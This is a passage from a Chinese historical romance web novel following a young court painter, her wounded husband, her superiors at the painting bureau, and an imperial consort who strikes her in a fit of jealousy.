右统领那边的人全是酒囊饭袋。 此时的副千户正在安抚简府仆婢,保证不出一个时辰他们就能见到自己的主子。 福生与素秋方才稍稍作罢,暗把拳头攥得咯吱响。 这么说的话至少可以确定少爷和少奶奶还活着。 简珣的刀口略深,长约二寸,与内脏相隔不超一层宣纸。 檀光性子活泼,一点也不像个阴暗的骁影卫,他竖着拇指赞道:“不愧是文曲星下凡,简翰林当真福大命大,有神佛保佑。” 当时现场,除了小夫妻俩,无一活口。 简珣上衣半褪,堆在腰间,肌肉匀称而结实,尤其双臂线条,绝对为常年习武所得。碍于少年人的身形还未完全长开,才在宽松衣袍的掩映下显得清瘦。 这身手还可以再去考个武状元。 话本子里说的儒将瞬间就有了脸。 难得有个看起来比较好说话的骁影卫,黄时雨这才敢吭声,细声细气问道:“大人,敢问我夫君的伤会不会留下遗症,得要多久才能养好?” 檀光道:“不打紧,你们简府什么好药材没有,况且简翰林还年轻,回去养一养,十天半个月下来保管什么事儿都没有。” 黄时雨轻轻舒了口气,对檀光福了福身。 半个时辰后,闻遇再次出现。 他比隋千户客气委婉许多,还命人为小夫妻俩斟茶倒水。 尽管闻遇非常清楚简翰林无辜,在未搜到那样东西之前,也不会放行。 不止不放行小夫妻,任何接触了隋千户和逃犯之人都别想走。 闻遇笑道:“二位受惊,今日之事,闻某自当禀明陛下,亦会亲自向安国公致歉。不知二位还有没有什么要求?” 有要求尽管提,答不答应另说。 简珣抬眸看向闻遇,道:“没有。敢问大人,我可以带内人回家了么?” 闻遇抿唇,弯了弯,道:“当然可以。” 简珣起身拉着黄时雨的手,快步离开了此间。 惊心动魄大半日。 死里逃生。 黄时雨见到熟悉的仆婢,简府的护院,两条腿才猛一趔趄,险些儿当场软顿在地。 这样大的事儿没法隐瞒,却也不能一五一十交代。 回去之后,黄时雨掐头去尾,只捡了最不凶险的说,竭力不让程氏担忧。 话语可以避重就轻,伤口没法避,发现简珣的伤,程氏的眼皮登时跳个不停,几欲喘不上气。 她勉力扶着黄时雨和心腹妈妈的手,强行站定。 吩咐下人执帖请御医上门,从头仔细诊断一番。 御医素来给简府面子,不多时即带着两名小药童赶来,连开数个滋补调养的良方。 明显比骁影卫更专长于此。 程氏堵着胸口的大石头稍稍松了松。 黄时雨并不知官老爷们接下来会如何处理这件事。 她的心思全放在简珣身上。 琥珀服侍黄时雨净面梳头,换了身常服,又喝了一碗安神汤。 “你下去吧,我守在这里。”黄时雨道。 琥珀福了福身应个是,“那奴婢同其他人守在外面,有什么吩咐您只管唤一声。” 这里不是泽禾是简府,琥珀便改掉了泽禾的习惯,守简府的规矩,自称奴婢。 这亦是京师的规矩。 黄时雨嗯了声,“好。” 默然瞅着正在闭目休息的简珣。 他上药换药,喝着一碗又一碗的苦涩药汁,连眉头都不皱一下。 这么一个名门贵公子,全无娇生惯养之态。 不管做什么都奉行克己复礼,行止有度,反观她,一点亏也吃不得,稍有不如意就在他跟前使小性子。 换个人,她即刻老老实实,唯唯诺诺。 明晃晃的柿子挑软的捏。 婚前,她一直觉得两人过不下去的,全然没想到简允璋咽下了那口气,至今也未提半句和离或休妻。 黄时雨默认简珣默认了这段关系。 如果……真的不用再分离的话,心里头好像怦怦然,欢悦悦,挺惬意。 黄时雨并非精于计较之人,亦非深谋远虑之人,那么阿珣心里的人不止她一个也没关系,还有许多漂亮的丫鬟和通房问题也不大,只要他对她好一天,她就享受一天。 至于将来,不论变心还是纳妾生子皆不影响她此刻的惬意。 现在是现在,将来是将来。 她是个拿得起放得下的姑娘。 脑子里绷了大半天的弦渐渐松弛,黄时雨的精神也随之松弛,她累极了,想着趴在床沿眯一会儿,结果控制不住陷入深睡。 简珣醒来时已是掌灯时分,寝卧烛火昏黄,想来是怕影响他休息,并未点太多蜡烛。 梅娘伏在他身边酣然入睡,小脸通红。 他伸手摸了摸,滚烫骇人。 用老人家的话来讲黄时雨这是吓丢了魂,得找神婆来跳一跳。 倒霉的小夫妻在家卧床养病。 衙门那边自然有人为他们向上官澄明。 次日神婆来跳大神,为黄时雨安魂。 画阁则以小闻大人私人的名义送来两大箱补品与歉礼,不论诚意还是歉意都恰到好处,再加上有着充足的理由,安国公自不好不依不饶。 两厢各退了一步。 皇帝很烦,自登基以来已经许久未曾大动肝火。 恨不能把司天台几个老不死的全砍了。 当年春官正身中剧毒又受了箭伤,翻下乌水河断然没有存活的可能。 所以又是谁旧事重提? 是谁说他无福没有帝王之相? 这种话是天大的忌讳。 再好性子的皇帝都能一怒灭人九族。 更何况,皇帝确实有一些难以启齿的忌讳。 他缓缓抬眸,目光投向了闻遇。 年轻的男子,如松如竹,立在鎏金银的竹节灯台下,烛光曳曳,半明半昧,亦幻亦真。 “今日,活着的人都没问题吗?”皇帝问。 “回陛下,万无一失。”闻遇道。 皇帝是百姓的好皇帝,海晏河清。 但皇帝算不得一个好人,甚至会为了自身利益杀个把碍事的人,不问因由。 不过上位者又有几人真正全无瑕疵? 只有小孩子才信奉不是黑的便是白的。 想到黄时雨也病着,程氏便安排她歇在清苑,一则使简珣安心养病,勿动杂念;二来防止简珣过了黄时雨的病气。 总之,程氏无法承受简珣再有一丝一毫的意外。 她只是一个普通的母亲。 天下可怜父母心。 一闭上眼便是歹人举刀劈向阿珣。程氏肉眼可见地憔悴。 她怕呀。 阿珣是她的软肋。 十四这日黄时雨已经没有大碍,便照常陪程氏用膳说话,打起精神侍奉婆母。 程氏打量黄时雨的脸色,不似刚出事那日的蜡黄,已经白皙如故,透着淡淡的粉。 瞧着真是个有福气的。 程氏伸手拢了拢黄时雨鬓角的碎发,端详着她,和蔼道:“梅娘,想必你与我一样,因着前日发生的事寝食难安,你担忧阿珣,我也担忧他,更担忧咱们简府的未来。” 她悠长地叹息一声,眼里笼着深重的浓愁。 黄时雨猜想婆母有话要说。 “娘,您有什么不放心的只管提点我,千万别堆在心里,心里不藏事儿人才能松快,对身体大有益处。”她劝道。 倒也不是什么大事。 许是因为积压太多心事看起来沉重,才让黄时雨想严重了。 程氏笑了笑,说道:“趁着阿珣养伤调理,你也好生调理调理。我认识极好的医女,咱们府里还有付妈妈,你可要加把劲,为阿珣生一个健康的嫡长子。” 前路未知,祸福难测,唯一能做的便是当下留好了退路。 阿珣,很需要一个孩子。 黄时雨的脸颊涨得通红,可是心里似乎也不是很抵触,想到国公府大少爷家的彬哥儿,软软糯糯又白白,心里竟莫名地热望。 她与阿珣,也可以生小孩子吗? 黄莺枝与黄时雨见面的日子比在泽禾频繁。 虽说黄时雨要上衙,黄莺枝在市舶司帮佣,但妹妹时常借着下衙的功夫走保宁坊绕一圈,如今隔了四五日还没动静,黄莺枝便寻思不妙,上门探望果然如她所料,梅娘惯会报喜不报忧。 黄莺枝为了不拖妹妹后腿,自从定居京师,就开始学习高门大户的规矩,比如上门拜访先给长辈程氏磕头再去见妹妹。 程氏一向通情达理,特特留给姐妹二人相聚的空间与时间。 黄莺枝感念非常,不再详述。 同为女人,黄莺枝仅需一眼便有底,妹夫极疼爱妹妹。 梅娘的眼神溢出了动人的明亮与娇意。 这是受到千疼万宠的女人才会流露的自然情态。 姐妹二人闲话家常。 黄莺枝掰着手指算了算日子。 今儿十五,梅娘上个月初十成了亲,她肃然道:“我记得你月事一向不太准,如今成了亲可千万不能马虎,这个月的月事可曾来过?” 黄时雨摇了摇头,赧然道:“付妈妈说还得再等等,倘若月底不见动静,方可通过把脉辨认。” 黄莺枝含笑,两手包住了妹妹右手,“你是个有大福气的,今年肯定有动静,莫要害羞也莫要惶恐,一定要珍重自个儿身子,这孩子不是为旁人生的,是为你自己。” 黄时雨星眸茫然,一说孩子就浮起彬哥儿那种,阿珣的孩子会是什么样的呢? 程氏告诉她女儿随爹,儿子随娘。 但其实也不是绝对的。 没见过老爷的人才会觉得阿珣长得像婆母,实则最像已故的老爷。 从神态到气质。 黄时雨觉得婆母心里应是无比地期待她快些为阿珣生个孩子的。 那就生吧。 等阿珣养好身体,她听他的话,不再推三阻四,任由他做那种变出小孩子的事。 黄莺枝歪着头半真半假打趣道:“梅娘,似乎开窍了。” 黄时雨纳罕道:“我一直都开窍,何曾糊涂。” 黄莺枝笑而不语。 女人活一辈子,能有几个真正享受过“温柔乡”。 梅娘却拥有一个顶级的,趁着年轻多享受享受,才不枉来人世走一遭。 然而该泼的冷水还是要泼的。 不是存心找妹妹不痛快,而是提醒她这就是所要面对的现实。 比起深陷无法自拔,不如清醒地活着。 不管承不承认,一旦深陷,女人就难以抽身,而男人则相对容易许多。 “那,从这一刻开始,就得留意身边忠厚貌美的丫鬟了。”黄莺枝温婉浅笑道,“这种事琥珀应当比我还懂,有她时刻提醒,我也能放心不少。” 姐姐开始与妹妹谈及切身利益的体己话。 女子怀胎十月,首要学会放平心态。 不要想着约束男人,管不住的,逼急了说不定跑去外面偷吃,那只会更糟,什么脏的臭的都有。 黄莺枝建议培养一名干净忠厚的丫鬟,安排至简珣跟前伺候,亦可充当眼线。 正常男人也就老实了。 黄时雨徐徐转着葱绿的帕子,想到简珣对那种事情的热衷,确实不可能守身如玉。 黄莺枝自知残忍,在妹妹最甜蜜的时候泼冷水。 她小产过,坐月子当天夫君恰在隔壁屋里睡丫鬟,纵然早有准备也难免心灰意冷。 那种无助,希望梅娘永远不必经受。 黄时雨没想过这么复杂的事儿,如今姐姐提及,她便认真地思量,轻声细语道:“好,我会留心身边的丫鬟,挑一个稳妥的。” 既无眼泪也无灰心,清澈双眸依然雪亮,干干净净。 黄莺枝有片刻地茫然。 又担心梅娘伤心傻了。 “傻丫头,难过的话哭一哭也不丢人,没有人嘲笑你。”她道。 黄时雨噗嗤一声笑了,音色轻快,“姐姐多虑了,一生这么长,光是画道许我的幸福足矣,现今又多一份阿珣的,锦上添花。我不介意他再去找旁人,那是他的选择,我们此时此刻同路,不问前程。” 连亲爹都不爱她,又怎指望旁的人。 她只是享受这一段关系,又没说要一生一世。 姐姐总是把事情考虑的过于复杂。 黄莺枝彻底迷茫,嘴唇微翕。 黄时雨十六继续上衙。 趁闻大人离开廨所,姜意凝好奇打探:“听说你与简翰林遭遇歹人,受了重伤,怎才歇得三日便来上衙?” 蓝素悄悄竖起耳朵偷听。 “我只是受了惊吓,目下已无大碍。”黄时雨边往木盆添水边道。 姜意凝指着她挽袖露出的小臂,“天菩萨,青了好大一块!” 黄时雨不以为意,“我涂过散淤膏,已经不痛啦。” 蓝素忍不住插一句:“要不是小闻大人,你怕是凶多吉少。” 她见黄时雨的眉毛越抬越高,轻咳道:“你那呈请一直搁在闻大人案牍,我们抬抬眼瞧个七七八八。” 所谓呈请当然事无巨细。 黄时雨唔了一声,“是,多亏小闻大人,我与夫君幸免于难。” 多余的一个字也不肯再说。 谨言慎行。 蓝素不甘心,从一间屋子追着黄时雨走到了另一间屋子。 黄时雨拧干抹布,认真擦闻大人的案牍。 “你此番第二次见到小闻大人吧?”蓝素攀谈道,“他是不是特别冷漠?” 唯有听别人同样的感受,自己心里才稍稍好受。 黄时雨颇有同感,确实冷。 不过他是冷是暖与她又不相干。 “不如……以后我都替你去画阁,我不介意他冷。”蓝素直言道。 也不是不行。 可任她说什么自己就答应什么岂不是太好欺负。 黄时雨多了个心眼,也提要求,“你帮我抹桌椅,每日轮流来。” 蓝素语窒,拧眉瞪着黄时雨片刻,不耐烦道:“知道了。” 黄时雨暗暗窃喜,转身端起木盆,陡然僵住。 厅前冰纹飞罩下,小闻大人眼帘微垂,负手而立。 蓝素总觉得好亏,大声道:“反正你讨厌小闻大人,我好心替你,不说感激,你还让我倒欠人情,真的是。” “你胡说!我何曾说过讨厌小闻大人。” 蓝素怕不是有癔症。 黄时雨勃然失色。 第75章 顶嘴 哟,还急了。 蓝素哂笑,道:“咋咋呼呼,大呼小叫的,你没说讨厌,算我会错了意还不成!反正这事就这么定了,别让我看见你反悔。” 她叉腰扭过身子,不以为然的神情瞬间凝固。 直愣愣盯着五步开外之人。 清透的晨光照在闻遇的脸上,他的五官柔和浅淡,却生一双充满攻击性的眼眸,有种润玉生寒的凌冽之美。 锋芒逼人,直击心房。 蓝素面如火炙。 闻道芝负手走来,脸色乌沉沉的,眼皮上下扫了两个不知天高地厚的小丫头一圈,“一大早就在议论上官,想来是分派的活计还不够多。” 黄时雨和蓝素大气也不敢喘,齐齐双手交叠身前退后让路。 “下去吧。”闻遇淡淡道,又专门对黄时雨说了一句,“门带上。” 蓝素缩着脖子一溜烟不见了踪影。 黄时雨屏气凝神紧跟其后,经过小闻大人身边蓦地就走不动了。 闻遇的手抵住了她怀中的木盆。 “大人……”黄时雨仰脸望向他。 闻遇垂眸打量木盆的边沿,手指漫不经心抚摸着木盆棱角分明的线条。 “画阁与画署,你选一个?”他的声音没有太大的起伏。 黄时雨啊了一声,脑筋飞快地转起来。 “选画署,以后就得与肃王保持距离。作为一个有夫之妇,多余的道理不用我教你吧?”他缓缓抬眸,与她目光相抵。 黄时雨面色唰地白如霜,嘴唇几度翕然。 闻遇以为她被自己吓坏了,便调开视线,看着别处道:“你俩的好事,当年试炼我就已如雷贯耳,只没想到你是个已婚的妇人,你好自为之。” “不过,”他又忍不住看向她,斟酌道,“选画阁的话,只要别太过分,我不会管,你好好想想,作为补偿,我会……” “大人。”黄时雨忽然启音打断。 她端稳木盆后退两步,不卑不亢道:“大人既知卑职是有夫之妇,以后便不要再说这种有损卑职清誉的话。” 闻遇手心一空,又不好意思显得失落,便抿唇看她。 “卑职与简翰林相敬如宾,天地可鉴,断不会做任何对不起他之事,您既然清楚肃王的事儿就该对卑职的困境负责!” 反客为主赖上了。 闻道芝斜眼看向被个姑娘家顶嘴的闻遇。 闻遇喉结微动,镇定道:“放肆……” 黄时雨箍紧了怀里的木盆,梗着脖子分辩:“肃王在画署来去自如,说到底都是您的疏忽!您不找他讲道理,却在这里数落卑职,难道大人阻止不了的,卑职就能吗?” 她只恨自己胡乱上涌的泪意,明明占理却气势全无。 黄时雨抬手以袖擦眼睛,不意木盆失去平衡,水花晃荡,险些倾倒。 闻遇下意识帮她扶住。 闻道芝提着一侧嘴角眉毛,欲言又止,怎么瞧着莫名诡异。 哪里还有训斥下官的雷霆。 “卑职凭本事考进的画署,卑职哪里也不去!”她眼里有怨也有怕。 怨他说话难听,怕胳膊拗不过大腿。 闻遇道:“好。” 黄时雨夺回木盆,红着眼眶,绕过他径直离开闻大人的屋子。 闻遇也呆了,直到发现姑母难以描述的目光,他讪讪垂下手。 据理力争的时候爽,争完多少有些儿心慌。 黄时雨提心吊胆,偷眼瞄了瞄两扇紧阖的黑漆木门。 蓝素打量黄时雨明显泛红的眼眶,心口咚咚咚直跳,幸好跑得快,不然就要像她一样被训斥,同时有点儿幸灾乐祸,黄画员反应真慢。 自觉没脸,黄时雨吸了吸小鼻子,兀自来到院子角落,坐在小圆杌子上走神。 连一个外人都是如此看她与肃王。 怨不得阿珣也这样嘲她。 可她竟连“我与肃王清清白白”这几个字也不敢说出口。 到底没底气,声气儿便也弱。 纵然“理直气壮”顶撞上官。 可是与肃王发生的那些事情,骗不了自己。 什么都做过了。 人家碍着肃王的身份才不好更直白讥讽她。 她垂眸盯着自己的手指,漫无目的地扣着。 在心里道,那又怎样,只要我不承认,那又怎样! 咬死不承认,总比让人知悉真相来得令她好受些。 “我想了下,你说的也不无道理。” 低醇的声音伴着一片阴影笼罩下来。 黄时雨满脸错愕,忙不迭起身,对不期然冒出的小闻大人弯腰揖礼。 这就是个小丫头,根本不是那种招风揽火的女人,即便有错,肯定也是肃王的错更多,否则她也不会如此委屈。 闻遇打量片刻才走过来,定定神,语气仿佛柔软了一分,“以后,肃王不会过来了。” 可她的脸上并没有多少开心,薄薄的恍惚,仿佛一缕万般不由己的尘烟。 黄时雨轻声道:“谢谢大人照拂。” 眼前高高在上的大人是石上居的阁主,令人仰望的山巅,聪明的话应当说些谄媚之言,竭力奉承着,从他手指缝捡一点好处,即可受用无穷。 她也想好好地表现,齐头整脸地展示,让他知晓她虽然根基尚浅,却也颇有才华不比旁人差的,不意,全落了空。 就冲她今儿当着闻大人的面顶撞小闻大人,年底那正九品的祗候位置,是别想了。 “你占理的事为什么要哭?现在,她们都当是我训斥了你。”闻遇沉吟道。 “对不起,我一生气就有些不争气。”黄时雨回。 “那,现在还气吗?” “不气了。” 闻遇笑了笑。 他撇了眼不远处隔扇后面偷听的脑袋,便不再说什么,转身离开了廨所。 隔扇后,蓝素拧眉问:“你能听见他们在说什么不?” 姜意凝摇了摇头,“听不清,观神情多半不是什么好话。黄画员都跑去角落冷静了,小闻大人还不依不饶追过去骂,真不至于……嗐!” 蓝素不悦道:“哪里骂了,我怎么觉得还怪温柔的,黄画员自己搭错了脑筋犯犟关小闻大人什么事!便是骂两句又如何,揍一顿也使得。” 姜意凝顿了顿,委实不想再与蓝素聊天。 果然不出黄时雨所料,当小闻大人前脚离开,后脚她就被召去闻大人的屋子。 “闻大人,卑职知道错了。”黄时雨垂着脸嗫嚅,做人哪能不通一点圆融,先认个错儿再说,“卑职知道自己名声不太好,您与小闻大人早有微词,却一直肯给卑职机会。卑职能有今日全靠您的栽培。是卑职情急,又想到种种委屈,才贸然顶撞了小闻大人,请大人代为责骂。” 一口气说这么多,闻大人默不作声。 黄时雨抬眸悬悬而望。 竟有些楚楚可怜的味道。 闻道芝微微歪着头,挑眉道:“小闻大人念你初犯,并未要治你的罪。” 黄时雨小声道:“大人心胸宽广,卑职惶恐。” “匹夫无罪,怀璧其罪。你这幅模样抛头露面,落进有心人眼里,你不招惹他们,他们也会招惹你的。”闻大人嗅了嗅茶香,慢慢道,“我说这话不是要劝你归家躲进垂花门,只是给你提个醒,这种事情会很多,你唯一能做的唯有牢记来时的初心,而不是自怨自艾。” “是,大人。” “甭搭理那些有话没话找你说的男子,也别给他们笑脸。除了严艺学,宋祗候,不必理会其他男同僚。” 黄时雨抿唇用力点头,“卑职记住了。” “我说的男同僚也包括画阁的,比如……小闻大人。”闻道芝斜着眼凝视黄时雨。 黄时雨继续应是。 还算老实。 已经不是姑娘家,是个小妇人了,按说也该有些知觉,闻大人上下端量黄时雨,见她唯唯诺诺,夹着尾巴,全无半分得意,仔细琢磨了一下,大约猜到了她在怕什么。 正九品的祗候空缺。 现下莫说夹着尾巴,给闻氏姑侄俩磕头都行。 闻大人笑道:“画署官员提名奏请这事儿归我管。” 所以,不用把闻遇放在眼里。 黄时雨目光锃亮,“闻大人,卑职,再不会糊涂了。” 她益发规矩地站直身子,垂着脸。 闻大人含笑点点头。 芝麻绿豆大的官儿当然用不着小闻大人奏请了。 但他可以直接将黄时雨放在闻大人的位置。 这么大的诱惑,易地而处,便是自己也不一定经受得住,所以闻道芝不想挑战黄画员的人性。 只要给的足够高,人就能做出任何没有底线的事。 没有例外。 倘若有,定然是给的还不够。 两日后,黄时雨被闻大人安排进藏画楼当差。 再也回不到廨所,每天上衙也看不到那一院子花花草草了。 画楼里不能养花,防止湿气浸润。 不过这里相对热闹许多,每天人来人往,有做粗活的女工也有守门的婆子。 这些女工的俸禄比普通画员的两倍还多。 她们是一群技艺高超的匠人,有着独门的绝活。 呵护整座画楼以及卷轴。 黄时雨主要辅佐袁艺学在此抄记封存以及保养等实录。 倒也闲适自在。 朝廷担忧藏画楼过于自在,于是每年都会派专司稽查,谨防玩忽潦草。 这里的“潦草”就是字面的意思。 一旦发现字迹不符要求,内容敷衍,甚至有错字儿,轻则罚俸,重则打一顿板子丢官罢职。 如此以来,谁还敢掉以轻心。 负责稽查的官员多半为翰林院的清贵才子。 不过遇到简珣的概率微乎其微。 皇城那么多官署,什么六部大理寺御史台,哪一个权重不比画署高。 简珣来画署相当于杀鸡用宰牛刀。 说起袁艺学,一点不陌生,她曾负责画署考生试炼期间大小事务,与黄时雨算作脸熟,两人供职于此尚算和睦轻快。 冷不丁被调了职,简珣比黄时雨更开心。 藏画楼不比廨所,听闻每层都要持特殊令牌,严防程度仅次于皇帝的私库。 除了第一层,其余皆严令禁止单人行走。 而第一层,人来人往。 那个神秘的“奸夫”,纵然有通天本领也没有勾引梅娘的空间。 可以说除了皇帝以及闻氏的姑侄俩,谁也休想在这里施为。 闻道芝携着两个小姑娘去画阁打秋风,捞了不少好处。 蓝素与姜意凝又搬了两盆花。 闻遇扫了她们一眼。 “别看了,在藏画楼。”闻道芝摸了摸大侄儿给的银票,真厚。 闻遇“哦”了一声。 闻道芝不满道:“就一个哦?为了把她填进去,我可是得罪了陈都尉。” 闻遇牵了牵嘴角,“五千两,已经不少,您再这么打秋风,我怕是养不起了。” 闻道芝见好就收,拍了拍袖袋银票,“够了够了,我也没说要钱呀。” 第76章 晕眩 藏画楼一共分三层。 第一层主要做为官员、女工的当值场所,处理大小事务,黄时雨和袁艺学的廨所即在此。 最上面一层收藏古今大家名画,皇室成员肖像等,乃皇帝的私人藏画所。 第二层为画署的裱画司。在此当值的裱画师,享有整个画署最高的俸禄,除此之外,每当重新装裱或者修复古卷,他们拿到的赏赐也令其他人等望尘莫及。 袁艺学对这群人没啥好印象,技艺有多高脾气就有多糟。 黄时雨对裱画师的印象仅限民间,就一个字“贵”。 每家裱画铺子要价不同,唯一相同的点仅有贵,关键排期还长,至于要多长,那得看裱画师的个人习惯与技艺。 所幸她的画儿都由阿珣亲自裱褙。 无所不能的阿珣不仅会裱画还教了她不少常识。 仔细一想,她还从未操过裱褙的心,也从未体验过普通画师的“疾苦”。 “不愧是状元郎的娘子,连裱褙的银子都能省下。”袁大人嗑着瓜子,顺道给黄时雨上了一堂课,三分画,七分裱,裱画如病延医,医善则随手而起,医不善随手而毙。 每个大画师的传世佳作背后必定有一位匠心独运的大裱画师。 二者缺一不可,相辅相成。 但一副好的作品,裱画师的功劳远大于大画师。 为世人铭记与颂扬的却是大画师。 唯有大画师自己才懂裱画师有多重要。 一副名画遇不到好的裱画师,至少失色三成,早晚湮灭于时光长河。 但一副普通的画,在裱画师手里可以增色七成。 当画师得遇好的裱画师,恰如伯牙遇子期。 袁艺学啧啧道:“小闻大人便是这世上最好的裱画师,你寻个机会求他为你裱褙一副。” 机会渺茫,渺茫也值得一试,万一成功了呢! 黄时雨纳罕道:“他不是大画师吗?据说水平丝毫不啻于闻大人,因掌骁影卫才未能画考。” “是啊,他是大画师,但谁也没规定大画师就不能是裱画师……”袁大人没想到黄时雨如此孤陋寡闻,“有无可能小闻大人两者兼备!” 她拍了下大腿,“天老爷,你不会以为他单靠画艺赢得天下画师臣服神往的吧?” 文人相轻,画师也相轻的,单纯为大画师,画道诸多才子怎可能一心敬仰他! “你不知有多少大画师不远万里进京拜访,唯求小闻大人裱褙一副,此生足矣。”袁大人语重心长道,“求他裱画的比求画的心更切。” 能得他亲手裱褙润色,想不出名都难。 “裱画工艺繁琐,没个三五年出不了师,出师也不代表精通,‘会’与‘精’之间差之千里,但‘会’总比一点不会强。毕竟世间能有几人样样精通的,大部分人把一件事做到精已是了不起。” 时下同时兼顾大画师与大裱画师不出三人,其中小闻大人与陆宴最为出名。 然而陆宴仅裱褙自己的画,不提也罢。 说起陆宴,黄时雨少不得心虚,支支吾吾应着,袁艺学兀自滔滔不绝。 黄时雨是一根筋,痴儿似的埋首画道,又有简珣裱褙,竟忽略了装裱的重要性。 考虑到相辅相成的关系,她下定决心重视起来,举凡有空就去书房跟着阿珣学习,将来按自己的喜好与审美妥善处置自己的心血。 谓之敝帚自珍。 裱画本身的意义就是为了丹青的长久留存与鉴赏。 黄时雨觉得小闻大人与陆宴那样的才算一个完整的大画师。 而她,也要成为同样的人。 豪情壮志立起来轻松,做起来难。 光是涂个浆糊手腕子已是不大听使唤,呈现的效果明显粗拙,与裱画司的放一起,宛如东施效颦。 黄时雨傻了眼。 再不敢事事依赖简珣。 习惯他兜底,她活的益发麻木了。 再说那裱画司,多为年近四旬的大汉,平时走得又是另一处入口,可以说一层的人不持令牌通过看守,压根见不到他们,而黄时雨一个年轻的小妇人总不好跑去另一个入口守株待兔,总结下来——纵然守着天底下顶厉害的一群同僚,依旧沾不到半分光。 袁艺学好心劝道:“别痴心妄想了,这是吃饭的手艺,家族传承,关门弟子都不定学得到,你随便凑过去小心被人用笤帚轰出去。” “多谢大人提醒。”黄时雨登时歇下了那点跃跃欲试的心思。 “你有简翰林,小夫妻俩,一个画师一个裱画师,多契合呀!”袁艺学道。 黄时雨不置可否。 求不到“精”还可以求“通”。 黄时雨换了个方向,先做一个名通晓裱褙的画师。 旬假的前一日,也就是三月廿一,宫城忽然来特使传召。 原来昔年德妃亲手绘过一副《立夏百子图》。 眼见立夏临近,娘娘想起旧作,特命宫人来取,不意无功而返。 德妃勃然大怒。 目下这位白脸内侍携着德妃娘娘的怒意而来,板着脸道:“怎么其他名家的画作都好好的,偏咱们娘娘的保管不善?” 袁大人后背冒出一层薄汗,作个揖解释道:“依下官愚见,并非藏画楼玩忽职守,实在是种种因由相互作用而致。画轴受潮与当年装裱的裱画师以及材质息息相关,据说这幅画是在苏塘梅雨季完成,时隔九年,难免有个闪失,还请娘娘宽宥几日,裱画司已经放在了首要位置修缮。” 这事儿本身不算大事,甚至连中等都算不上。 谁知德妃娘娘流年不利,处处不顺心,昨儿侍寝还被梅妃截了胡,面子事小失宠事大,哪怕皇帝一早就赏了她最喜欢的金丝燕窝羹,这口堵噎之气亦无法平息。 倒霉催的袁艺学整好撞上来,成了德妃娘娘的宣泄口。 白脸内侍冷笑一声,“大人说的这些咱家哪里听得懂,请吧,劳烦您进宫亲自向娘娘解释。” 袁艺学深感大祸临头。 作为一名才调过来两日的小画员,这事明显与黄时雨没干系,可谁让她是袁艺学的辅从官,被白脸内侍一并带走了。 沿着内苑东墙的甬道一路往北,袁艺学的脸变得比白脸内侍还白。 她想叮嘱黄时雨两句,余光瞥见身边冷若冰霜的宫人,无奈地抿紧了嘴角。 白脸内侍成功捕捉两名“出气筒”,忙忙送往晔明宫御花园以供德妃作筏子,说来也巧,在半道上遇见了回宫复命的肃王。 比周围人足足高出一截的肃王腿长步子快,眨眼追上白脸内侍一行人。 白脸内侍寒冰似的脸霎时开出了花儿,堆满笑意,深深作个揖,“小的顺喜给殿下问安。” “殿下金安。” 四下也都跟着作揖问安。 肃王一身宝蓝的杭绸道袍外罩珍珠白半袖搭护,腰间系着双色丝绦,洁白的交领与瓷白的脸颊熠熠发光。 白脸内侍飞快瞄了一眼就垂下头,俊美的殿下心肠可不一定软。 肃王的脚步戛然顿住。 顺喜心道往常断不会多瞧奴才一眼的肃王莫不是要与他攀谈? 实在不是肃王高冷,而是宫人众多,随便一个问安,他就停下岂不累死。 韩意淮凝视了黄时雨片刻,她正惶惶然望过来,他挑眉笑了,她一怔,连忙垂首假作不知。 “你是哪个宫的?”韩意淮问。 顺喜慌忙弓着腰答:“回殿下,小的是怡德殿德妃跟前的,今儿奉命召了两名画署当值的觐见娘娘。” 皇帝的女人,寻常人自然插不了手。 想到德妃大名之盛,韩意淮轻笑了一声,“顺喜是吧,好生伺候着。” 肃王留下没头没尾一句话,继续朝右银台门而去,在他身后,随行侍从中一位脸熟的内侍忽然朝顺喜笑了笑,“今儿天气这么好,画署的女官又这般可人讨喜,莫要娘娘动了肝火。” 白脸内侍顺喜心里头一个踉跄,咯噔作响,举目瞅瞅肃王,又回头瞅瞅画署的两个娘们,哪个讨喜? 其实讨不讨喜不重要,重要的是肃王记住他了。 肃王闲着没事儿记一个内侍的名做什么呢…… 自然是为了方便找到他。 无缘无故找个内侍定不是好事。 那么,肃王是在威胁他。 顺喜以袖抹了把额角的汗,再次瞄一眼黄时雨,稳了稳心神,尖嗓子有气无力道:“走吧。” 众人重新出发。 御花园春光灿灿,德妃丧眉搭眼的。 约好同赏海棠的皇帝再次失约。 独留她来此孤坐,宛如一个笑话。 她是宫里最得宠的女人,也习惯了皇帝如珠似玉的疼宠,哪里经受过一点风雨,侍寝被截像是一记重锤砸在她脑袋。 全无防备。 而她,似乎还无法适应恩宠日渐稀薄的生活。 新来的梅妃,家世容貌年纪无一不甩她两条街,德妃升起了前所未有的惶恐。 夹杂着炽热、不甘、愤怒的惶恐在目睹黄时雨时达到了顶峰,险些没控制住失态。 同样鲜花嫩蕊的年纪,娇滴滴的眉眼,红嫣嫣的樱唇,勾魂夺魄,甚至软糯的少女声音都差不多。 德妃凝窒住。 “娘娘……”心腹轻柔呼唤。 德妃乱成一团麻的思绪堪堪才被心腹拽回,她捺下火气,冷眼目视画署女官问安。 心腹为娘娘发声:“袁大人身边又换了人?” 袁艺学垂眸道:“是才来两日的画员,姓黄名时雨。” 才来的,与画作受潮全无干系。 德妃从鼻腔发出一声冷哼。 黄时雨是吧。 梅子黄时雨。 又一个与梅沾边的,沾上贱人梅妃的能是什么好东西。 德妃瞥了心腹一眼,心腹立即道:“请黄画员上前两步,娘娘看不清。” 黄时雨规规矩矩走上前,不多不少正好两步。 “妖妖调调,柳腰款摆,在本宫跟前做这副模样给谁看呢,皇帝今儿不在!”德妃骤然发难。 黄时雨一直都是这样走路的,婆母夸她姿态轻盈端正,闻大人夸她身姿纤浓有度,姜意凝夸她赏心悦目,到了德妃这里怎地变成妖调之态。 她有一瞬间空白,却谨守宫规,白着脸依然挺直腰杆。 只要她敢开口就是顶撞,抬眸便是大不敬。 德妃等了片刻,黄时雨纹风不动。 好好好,就连规矩也是极好的。 皇帝如今爱死了打着名门闺秀旗号的贱妇。 德妃抄起儿拳大的杧果(注,芒果)砸过去。 打个画员还要罗织什么情由。 得亏顺喜反应快,迅疾抬手格挡,卸掉了五成的攻击,可黄画员依然挨了一下,娇嫩的皮子眨眼泛红,顶在额上,煞是醒目。 黄时雨痛苦捂额,把个袁艺学也吓得不轻,为官十载,头一回见识德妃的骄狂,比传闻更甚。 当下也顾不得许多,她拽着黄时雨跪地请罪。 “打不得,打不得呀!”顺喜哀嚎。 德妃阴鸷的目光扭向他,“不打她打你吗?” 